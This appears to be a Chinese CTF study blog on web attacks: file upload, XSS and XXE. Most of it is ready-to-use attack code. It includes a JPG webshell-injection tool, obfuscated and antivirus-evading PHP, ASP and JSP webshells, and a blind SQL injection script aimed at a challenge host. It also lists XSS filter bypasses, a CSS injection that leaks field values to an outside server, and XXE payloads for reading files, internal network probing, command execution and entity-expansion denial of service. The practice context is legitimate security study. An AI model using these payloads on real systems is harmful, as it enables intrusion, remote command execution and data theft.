150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

输入下面命令生成JPG图片马

1
php jpg_payload.php a.jpg

不包含字母和数字

一些不包含数字和字母的webshell | 离别歌

(使用时记得把注释删除)

异或

1
2
3
4
5
6
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

URL编码的为不可见字符

取反

1
2
3
4
5
6
7
8
9
10
11
<?php
$_=[]; //
$__=$_.$_; //arrayarray
$_=($_==$__);//$_=(array==arrayarray)明显不相同 false 0
$__=($_==$_);//$__=(array==array) 相同返回1

$___ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST


$____($$__[_]);//也就是system($_POST[_])

true+true==2('>'>'<')+('>'>'<')==2

自增

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$_ = [].'_';
$__ = $_[1]; // r
$_ = $_[0]; // A
$_++;$_++; // C
$_0 = $_; // $_0 = C
$_++;$_++;$_++;$_++; // G
$__ = $_0.++$_.$__;
$_ = '_'.$__(71).$__(69).$__(84);
echo $_;
echo "</br>";
echo $_0;
echo "</br>";
echo $__;
// $$_[1]($$_[2]);
// $_GET[1]($_GET[2])

通过文件名传马

这个算是个特殊情况,也就是直接将你的文件名直接输出在页面上,这个时候你可以直接将文件名改成一句话木马,比如:

1
2
<?=@system($_GET[2]);?>.phtml
<?=@system($_GET[2]);?>.php

这样当他输出文件名的时候就直接当js代码嵌入进网页了,然后可以直接GET传参

常用一句话木马

简一句话木马

1
<?php @eval($_POST['cmd']);?>

绕过<?限制的一句话木马

1
<script language = 'php'>@eval($_POST[cmd]);</script>

绕过<?php ?>限制的一句话木马

1
<?= @eval($_POST['cmd']);

asp一句话木马

1
<%eval(Request.Item["cmd"],”unsafe”);%>

JSP一句话木马

1
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>

JSP一句话免杀(ASCLL编码)

1
2
3
4
5
6
7
8
9
10
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>

ASPX一句话

1
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

例题

攻防世界 easyupload

简简单单上传php用蚁剑连接即可

UUCTF 2022 新生赛]ez_upload | NSSCTF

这题后端代码校验,匹配第一个.知道末尾,用 1.jpg.php即可绕过

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess

上传.htaccess后再上传规定文件,再连蚁剑

[BUUCTF在线评测](https://buuoj.cn/challenges#[SUCTF 2018]GetShell) GetShell

1
2
3
4
5
6
7
8
9
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

不含字母和数字的文件上传

1
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb) EasyWeb

结合了SQL和文件上传,这里是个用文件名写马

SQL脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
import requests
import urllib.parse
import binascii

start_time = time.time()

# -------------------- 基础函数 --------------------
def database_length(url: str) -> int:
for i in range(1, 100):
payload = f"or (select length(database()))={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def database_name(url: str) -> str:
pool = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
name = ''
length = database_length(url)
print('DatabaseLength:', length)
for pos in range(1, length + 1):
for ch in pool:
payload = f"or ascii(substring(database(),{pos},1))={ord(ch)}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
name += ch
print('DatabaseName:', name)
break
return name

# -------------------- 表相关函数 --------------------
def table_count(url: str, db_hex: str) -> int:
for i in range(1, 100):
payload = f"or (select count(table_name) from information_schema.tables where table_schema={db_hex})={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def table_length(url: str, idx: int, db_hex: str) -> int:
for i in range(1, 100):
payload = f"or (select length(table_name) from information_schema.tables where table_schema={db_hex} limit {idx},1)={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def table_name(url: str, db_hex: str) -> list:
pool = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
tables = []
count = table_count(url, db_hex)
print('TableCount:', count)
for idx in range(count):
tbl = ''
length = table_length(url, idx, db_hex)
print('TableLength:', length)
if length is None:
break
for pos in range(1, length + 1):
for ch in pool:
payload = f"or ascii(substring((select table_name from information_schema.tables where table_schema={db_hex} limit {idx},1),{pos},1))={ord(ch)}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
tbl += ch
print(f'TableName{idx+1}: {tbl}')
break
tables.append(tbl)
return tables

# -------------------- 列相关函数 --------------------
def column_count(url: str, table_hex: str) -> int:
for i in range(1, 100):
payload = f"or (select count(column_name) from information_schema.columns where table_name={table_hex})={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def column_length(url: str, idx: int, table_hex: str) -> int:
for i in range(1, 100):
payload = f"or (select length(column_name) from information_schema.columns where table_name={table_hex} limit {idx},1)={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def column_name(url: str, table_hex: str) -> list:
pool = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
columns = []
count = column_count(url, table_hex)
print('ColumnCount:', count)
for idx in range(count):
col = ''
length = column_length(url, idx, table_hex)
print('ColumnLength:', length)
if length is None:
break
for pos in range(1, length + 1):
for ch in pool:
payload = f"or ascii(substring((select column_name from information_schema.columns where table_name={table_hex} limit {idx},1),{pos},1))={ord(ch)}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
col += ch
print(f'ColumnName{idx+1}: {col}')
break
columns.append(col)
return columns

# -------------------- 数据提取函数 --------------------
def content_length(url: str, table: str, cols: list) -> int:
col_concat = ','.join(cols)
for i in range(1, 1000):
payload = f"or (select length(group_concat({col_concat})) from {table})={i}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
return i
return 0

def all_content(url: str, table: str, cols: list) -> str:
pool = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,|@_.-{}'
col_concat = ','.join(cols)
content = ''
length = content_length(url, table, cols)
print('AllContentLength:', length)
for pos in range(1, length + 1):
for ch in pool:
payload = f"or ascii(substring((select group_concat({col_concat}) from {table}),{pos},1))={ord(ch)}#"
geturl = url + urllib.parse.urlencode({'path': payload})
if b'JFIF' in requests.get(geturl).content:
content += ch
print(f'Content in {table}: {content}')
break
return content

# -------------------- 主流程 --------------------
if __name__ == '__main__':
url = 'http://c18868fe-0e4a-432b-848c-cb5b83afe012.node5.buuoj.cn:81/image.php?id= \\0&'

db_name = database_name(url)
print('The current database:', db_name)

db_hex = '0x' + db_name.encode('utf-8').hex()
tables = table_name(url, db_hex)
print(db_name, 'has tables:', tables)

for tbl in tables:
print(f'\n{tbl} has columns:')
tbl_hex = '0x' + tbl.encode('utf-8').hex()
cols = column_name(url, tbl_hex)
contents = all_content(url, tbl, cols)
print(f'{tbl}\'s content: {contents}')

print('Use: %d seconds' % (time.time() - start_time))

XXS

(好像现在越来越常见了)(结合CSRF进行攻击)

XSS跨站脚本攻击详解(包括攻击方式和防御方式)-阿里云开发者社区

【Web安全】XSS攻击与绕过_输入框xss攻击-CSDN博客

XSS跨站脚本攻击详解 - 宇星海 - 博客园

**XSS(Cross Site Scripting)**,通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容

最常见的就是

1
<script>alert(1)</script>

会在网页上弹出一个1

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,与之间的字符是页面的标题等等

当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行

存储型

反射型

DOM型

DOM型XSS攻击(Document Object Model Cross-Site Scripting)是一种特殊的XSS攻击,其原理是利用客户端浏览器对DOM(文档对象模型)的操作进行攻击。与传统的XSS攻击不同,DOM型XSS攻击不需要服务器端的参与,而是完全在客户端执行

DOM型XSS攻击的主要原理是攻击者通过构造恶意URL,向目标网页传递参数,然后在客户端浏览器中执行恶意脚本。当目标网页的JavaScript代码解析URL参数并将其插入到DOM中时,如果没有对参数进行适当的过滤和处理,就可能导致恶意脚本的执行

看以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest() {

var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS

攻击方法

script标签

1
<script>alert(1);</script>

这是最基本的XSS攻击形式。

通过插入<script>标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码

img标签

1
<img src=1 onerror=alert("xss")>

利用<img>标签的onerror事件。如果图片加载失败(例如,src设置为不存在的资源),则执行onerror中的JavaScript代码

这边可以插入以下两篇文章,鉴于本文标题的关系,不作展开

利用突变XSS绕过DOMPurify 2.0.0-先知社区

DOM破坏绕过XSSfilter例题_dompurify.sanitize绕过-CSDN博客

input标签

1
2
3
4
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>

onblur事件在元素失去焦点时触发,onfocus在元素获得焦点时触发,onclick在点击时触发,onmouseover在鼠标悬停时触发

“焦点”指的是当前正在被用户交互的元素

  1. 键盘焦点
    当你按 Tab 键时,浏览器会将焦点依次移动到可交互元素(如输入框、按钮、链接等)。此时,该元素会触发 onfocus 事件,失去焦点的元素触发 onblur
  2. 鼠标焦点
    点击一个输入框时,光标(caret)会出现在其中,表示它获得了焦点,可以输入文字
  3. 视觉表现
    大多数浏览器会为当前焦点元素显示轮廓线(outline)(如蓝色边框),或高亮效果(可通过 CSS 的 :focus 伪类自定义)

details标签

1
<details ontoggle=alert("xss");>

利用HTML5的<details>标签,当用户切换显示/隐藏详情时,触发ontoggle事件

svg标签

1
<svg onload=alert("xss")>

使用SVG图像格式的<svg>标签。onload事件在SVG加载完成时触发,可以用于执行恶意代码

select标签

1
2
<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>

<select>标签中使用onfocus事件。当下拉列表获得焦点时,触发JavaScript代码

iframe标签

1
<iframe onload=alert("xss")></iframe>

利用<iframe>标签的onload事件。当iframe加载完成后,执行指定的JavaScript代码

video标签

1
<video><source onerror=alert("xss")>

通过<video>标签中的<source>元素的onerror事件。如果视频源文件加载失败,将执行错误处理代码

audio标签

1
<audio src=1 onerror=alert("xss")>

如果音频文件加载失败,将触发onerror事件

body标签

1
<body onload=alert("xss")>

当页面加载完成时,会执行此代码

textarea标签

1
<textarea onfocus=alert("xss"); autofocus>

当文本区域获得焦点时,将执行指定的JavaScript代码

base标签

1
2
<base href="http://www.gogle.com" />
<img src="/init//en_All/images/logolw.png" />

//<base>标签将指定其后的标签默认从”http://www.gogle.com"取host域名

如果攻击者在页面中插入了<base>标签并指定域名为恶意站点,就可以在远程服务器上伪造数据,劫持当前页面中所有使用“相对路径”的标签

部分绕过

括号绕过

1
2
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误

URL绕过

1
2
3
4
// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号

伪协议

1
"><a href=javascript:alert(/xss/)>   o_n和<scr_ipt>过滤

利用Function

JS有一个特性是 Function()(); (注意这一定是要大写)

对于Function()来说,写在其第一个括号内的JS语句会被直接执行,例如:

1
Function(alert(1))();

就可以成功被执行,这里还可以利用atob(),它的作用是把后面的base64编码还原(需要去掉=)

1
Function(atob`YWxlcnQoZG9jdW1lbnQuY29va2llKQ`)();   //反引号代替括号使用,括号也是可以的

针对CSS的XSS

只用 CSS 也能攻擊?CSS injection(上) | Beyond XSS

(这个大有研究价值,我后面会再补的)

CSS Leak 即通过 CSS 注入实现 XS Leak, 一个常见的方法是利用 CSS 选择器匹配指定标签的某个属性的内容

例如, 目标网站存在 HTML

1
<input type="text" name="hello" value="world">

根据参考文章, 当网站可以注入 CSS 时, 便可以通过属性选择器匹配 input 标签内的 value 属性

1
2
3
input[name="hello"][value^="w"] {
background: url(https://myserver.com?q=w)
}

该 CSS 的作用如下

  1. 通过属性选择器匹配某个 input 标签, 其 name 属性的值为 hello, 且 value 属性以 w 开头
  2. 如果成功匹配, 则会向 https://myserver.com?q=w 发起 HTTP 请求

通过上述过程, 便可以一步一步地拿到 value 标签的所有内容


XML

XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园

(10 封私信 / 80 条消息) 从原理到实战,详解XXE攻击 - 知乎

从XML相关一步一步到XXE漏洞-先知社区

【WEB】XXE | 狼组安全团队公开知识库

(这个见的确实不多,甚至是不见了)

定义

XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。它由三个部分组成,分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL

XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构,其基本格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>   // XML生命

<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容"> // 文档类型定义(DTD)
]>


<元素名称 category="属性">

WHiteNight // 文档元素

</元素名称>
  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值须加引号

DTD

DTD(Document Type Definition):通过定义根节点、元素(ELEMENT)、属性(ATTLIST)、实体(ENTITY)等约束了xml文档的内容按照指定的格式承载数据

内部声明

<!DOCTYPE 根元素 [元素声明]>

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from)> <!--定义note元素有两个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
]>
<note>
<to>White</to>
<from>Night</from>
</note>

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开(解析器将实体引用替换为该实体所代表的实际内容)
被解析的字符数据不应当包含任何&<,或者>字符,需要用& < >实体来分别替换
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

例如:

1
<element>这是一个 &lt; 示例 &amp; 实体引用。</element>

实体展开后:

1
这是一个 < 示例 & 实体引用。

外部引入

<!DOCTYPE 根元素名称 SYSTEM "dtd路径"> (外部的DTD文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL"> (网上的DTD文件)

示例:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>White</to>
<from>Night</from>
<head>Honkai</head>
<body>StarRailway</body>
</note>

test.dtd

1
2
3
4
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>

实体(ENTITY)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量,按照有无参数分类,可以分为一般实体和参数实体

一般声明:<!ENTITY 实体名称 “实体内容”>,而想要引用一般实体,用 &实体名称(引用区域不限)

参数声明:<!ENTITY % 实体名称 “实体内容”> ,引用参数实体方法:%实体名称(只能在DTD中引用)

按照使用方式分类,分为内部声明实体和引用外部实体

内部实体:<!ENTITY 实体名称 "实体的值">

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "xxx">
<!ENTITY copyright "Copyright xxx.com">
]>
<test>&writer;©right;</test>

外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///flag">
<!ENTITY copyright SYSTEM "http://www.xxx.com/xxx.dtd">
]>
<author>&file;©right;</author>

下面是不同程序所支持的协议

XML注入

XML注入两大要素:标签闭合和获取XML表结构

通过闭合前面的尖括号,来达到注入的效果:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>

</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

通过拼凑

1
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

来闭合前面的账号密码,然后再创建一个新的账号(管理员权限 ),这样就无需知道原本的管理员密码

XML外部实体注入(XXE)

XML External Entity Injection
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

常见环境

1
2
3
4
5
6
7
8
9
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument(); // 初始化XML解释器
$dom->loadXML($xmlfile); // 加载输入的XML内容
$xml=simplexml_import_dom($dom); // 获取XML文档的节点,失败返回FALSE
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

测试代码:

用POST传入:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd"> // 这里也可以指定什么盘里的内容,用绝对路径即可
]>
<xml>
<xxe>&file;</xxe>
</xml>

即可成功访问/etc/passwd文件

探测内网

用以下payload即可访问内网端口的内部信息

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>

<root>
<name>&xxe;</name>
</root>

如果实在Linux下(这里读取IP地址)

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>

<root>
<name>&xxe;</name>
</root>

DDos攻击

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

通过定义多层递归引用的实体(变量)让解析的内容以及时间以指数级增长,以实现DDos攻击的效果

Payload

php文件读取

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<creds>
<user>&xxe;</user>
</creds>

file协议

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag">
]>
<user>
<username>
&XXE;
</username>
<password>
123
</password>
</user>

SVG

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

过滤System,Public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>

<!DOCTYPE GVI [

<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">

%xml;



//
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
<message>&xxe;</message>
</core>

(用双重编码绕过)

例题

第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园

利用BCEL字节码构造内存马 - F12~ - 博客园

里面的上传XML文件进行RCE

[BUUCTF在线评测](https://buuoj.cn/challenges#[NCTF2019]Fake XML cookbook) Fake XML CookBOOK

用bp抓包账号密码页面,发现是XML结构,且可以看到请求与响应包的携带的数据都是XML格式,并且返回包中的msg标签值与请求包中的username标签值相同,故尝试使用XXE

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag">
]>
<user>
<username>
&XXE;
</username>
<password>
123
</password>
</user>

题目 - MoeCTF 2025 10_revenge

上来随便输入一点可以看到报错信息:

1
2
3
4
5
<br />
<b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '&lt;' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br />
<阵枢>引魂玉</阵枢>
<解析>未定义</解析>
<输出>未定义</输出>

这看起来就是让我们输入XML文档,然后我们看到,有解析和输出标签,不如就用这两个包裹,就有了以下的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///flag.txt">
]>
<user>
<输出>
&XXE;
</输出>
<解析>
123
</解析>
</user>


<!--
<阵枢>引魂玉</阵枢>
<解析>
123
</解析>
<输出>
flag:moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l}
</输出>
-->

[BUUCTF在线评测](https://buuoj.cn/challenges#[NCTF2019]True XML cookbook) True XML Cookbook

跟上题同理,但是发现没有/flag文件,且/etc/passwd能正常访问

这里学习到一个点,flag可能存在于内网主机上,我们需要通过XXE对内网进行探测

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY XXE SYSTEM "file:///proc/net/fib_trie">
]>
<user>
<username>
&XXE;
</username>
<password>
123
</password>
